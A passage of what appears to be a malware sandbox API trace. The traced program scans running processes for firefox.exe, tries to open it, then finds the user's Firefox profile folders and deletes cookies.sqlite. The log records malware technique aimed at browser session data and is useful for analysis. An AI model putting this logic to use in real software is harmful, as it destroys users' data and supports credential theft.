th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.853] lstrcmpiW (lpString1="wininit.exe", lpString2="firefox.exe") returned 1 [0116.853] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.854] lstrcmpiW (lpString1="csrss.exe", lpString2="firefox.exe") returned -1 [0116.854] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.855] lstrcmpiW (lpString1="winlogon.exe", lpString2="firefox.exe") returned 1 [0116.855] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.856] lstrcmpiW (lpString1="services.exe", lpString2="firefox.exe") returned 1 [0116.856] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.858] lstrcmpiW (lpString1="lsass.exe", lpString2="firefox.exe") returned 1 [0116.858] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0116.859] lstrcmpiW (lpString1="lsm.exe", lpString2="firefox.exe") returned 1 [0116.859] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.860] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.860] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.861] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.861] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.862] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.862] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.863] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.863] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.864] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.864] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.865] lstrcmpiW (lpString1="audiodg.exe", lpString2="firefox.exe") returned -1 [0116.865] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.866] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.867] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.868] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.868] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.869] lstrcmpiW (lpString1="dwm.exe", lpString2="firefox.exe") returned -1 [0116.869] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.870] lstrcmpiW (lpString1="explorer.exe", lpString2="firefox.exe") returned -1 [0116.870] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.871] lstrcmpiW (lpString1="spoolsv.exe", lpString2="firefox.exe") returned 1 [0116.871] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.872] lstrcmpiW (lpString1="taskhost.exe", lpString2="firefox.exe") returned 1 [0116.872] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.873] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.873] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0116.874] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="firefox.exe") returned 1 [0116.874] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.876] lstrcmpiW (lpString1="taskeng.exe", lpString2="firefox.exe") returned 1 [0116.876] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0116.877] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="firefox.exe") returned 1 [0116.877] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.878] lstrcmpiW (lpString1="taskhost.exe", lpString2="firefox.exe") returned 1 [0116.878] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nr nutrition.exe")) returned 1 [0116.879] lstrcmpiW (lpString1="nr nutrition.exe", lpString2="firefox.exe") returned 1 [0116.879] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="beat.exe")) returned 1 [0116.880] lstrcmpiW (lpString1="beat.exe", lpString2="firefox.exe") returned -1 [0116.880] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="refers.exe")) returned 1 [0116.881] lstrcmpiW (lpString1="refers.exe", lpString2="firefox.exe") returned 1 [0116.881] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="additions.exe")) returned 1 [0116.882] lstrcmpiW (lpString1="additions.exe", lpString2="firefox.exe") returned -1 [0116.882] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="clusters attack.exe")) returned 1 [0117.073] lstrcmpiW (lpString1="clusters attack.exe", lpString2="firefox.exe") returned -1 [0117.073] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="oriental.exe")) returned 1 [0117.074] lstrcmpiW (lpString1="oriental.exe", lpString2="firefox.exe") returned 1 [0117.074] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="protective quite sessions.exe")) returned 1 [0117.075] lstrcmpiW (lpString1="protective quite sessions.exe", lpString2="firefox.exe") returned 1 [0117.075] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="mumbai.exe")) returned 1 [0117.076] lstrcmpiW (lpString1="mumbai.exe", lpString2="firefox.exe") returned 1 [0117.076] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ps-workstation.exe")) returned 1 [0117.078] lstrcmpiW (lpString1="ps-workstation.exe", lpString2="firefox.exe") returned 1 [0117.078] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="today.exe")) returned 1 [0117.079] lstrcmpiW (lpString1="today.exe", lpString2="firefox.exe") returned 1 [0117.079] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dishesproductioncottage.exe")) returned 1 [0117.080] lstrcmpiW (lpString1="dishesproductioncottage.exe", lpString2="firefox.exe") returned -1 [0117.080] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="unfortunatelyafterwardsemission.exe")) returned 1 [0117.081] lstrcmpiW (lpString1="unfortunatelyafterwardsemission.exe", lpString2="firefox.exe") returned 1 [0117.081] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="weblogs-waters.exe")) returned 1 [0117.082] lstrcmpiW (lpString1="weblogs-waters.exe", lpString2="firefox.exe") returned 1 [0117.082] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x238, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1 [0117.083] lstrcmpiW (lpString1="plaintiff.exe", lpString2="firefox.exe") returned 1 [0117.083] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensborooregon.exe")) returned 1 [0117.084] lstrcmpiW (lpString1="greensborooregon.exe", lpString2="firefox.exe") returned 1 [0117.084] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chartspresently.exe")) returned 1 [0117.086] lstrcmpiW (lpString1="chartspresently.exe", lpString2="firefox.exe") returned -1 [0117.086] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ir grey.exe")) returned 1 [0117.087] lstrcmpiW (lpString1="ir grey.exe", lpString2="firefox.exe") returned 1 [0117.087] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="know.exe")) returned 1 [0117.088] lstrcmpiW (lpString1="know.exe", lpString2="firefox.exe") returned 1 [0117.088] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement_float_disability.exe")) returned 1 [0117.089] lstrcmpiW (lpString1="requirement_float_disability.exe", lpString2="firefox.exe") returned 1 [0117.089] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="licenses_miss.exe")) returned 1 [0117.090] lstrcmpiW (lpString1="licenses_miss.exe", lpString2="firefox.exe") returned 1 [0117.090] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.091] lstrcmpiW (lpString1="WmiPrvSE.exe", lpString2="firefox.exe") returned 1 [0117.091] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0117.093] lstrcmpiW (lpString1="iexplore.exe", lpString2="firefox.exe") returned 1 [0117.093] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefox.exe")) returned 1 [0117.094] lstrcmpiW (lpString1="firefox.exe", lpString2="firefox.exe") returned 0 [0117.094] CloseHandle (hObject=0xa90) returned 1 [0117.094] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xb64) returned 0x0 [0117.094] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 [0117.094] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x9770a90 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0117.094] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\Profiles\\*" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*" [0117.094] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x6b0f6b0 | out: lpFindFileData=0x6b0f6b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466880 [0117.094] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*") returned 60 [0117.094] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x20a) returned 0x9770cb0 [0117.094] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x6b0f6b0 | out: lpFindFileData=0x6b0f6b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.094] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x6b0f6b0 | out: lpFindFileData=0x6b0f6b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xed6244b0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xed6244b0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 1 [0117.094] lstrcpyW (in: lpString1=0x9770cb0, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0117.094] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="3y2joh8o.default" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0117.094] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", lpString2="\\storage\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\storage\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\storage\\" [0117.094] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\storage\\" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\storage")) returned 0xffffffff [0117.094] lstrcpyW (in: lpString1=0x9770cb0, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0117.095] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="3y2joh8o.default" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0117.095] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", lpString2="\\cookies.sqlite" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite" [0117.095] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cookies.sqlite")) returned 0x2020 [0117.095] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cookies.sqlite")) returned 1 [0117.099] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x6b0f6b0 | out: lpFindFileData=0x6b0f6b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xed6244b0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xed6244b0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 0 [0117.099] FindClose (in: hFindFile=0x4466880 | out: hFindFile=0x4466880) returned 1 [0117.099] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770cb0 | out: hHeap=0x9770000) returned 1 [0117.099] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x9770a90 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0117.099] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local", lpString2="\\Mozilla\\Firefox\\Profiles\\*" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*" [0117.099] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x6b0f6b0 | out: lpFindFileData=0x6b0f6b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466880 [0117.099] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*") returned 58 [0117.099] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x20a) returned 0x9770cb0 [0117.099] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x6b0f6b0 | out: lpFindFileData=0x6b0f6b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, 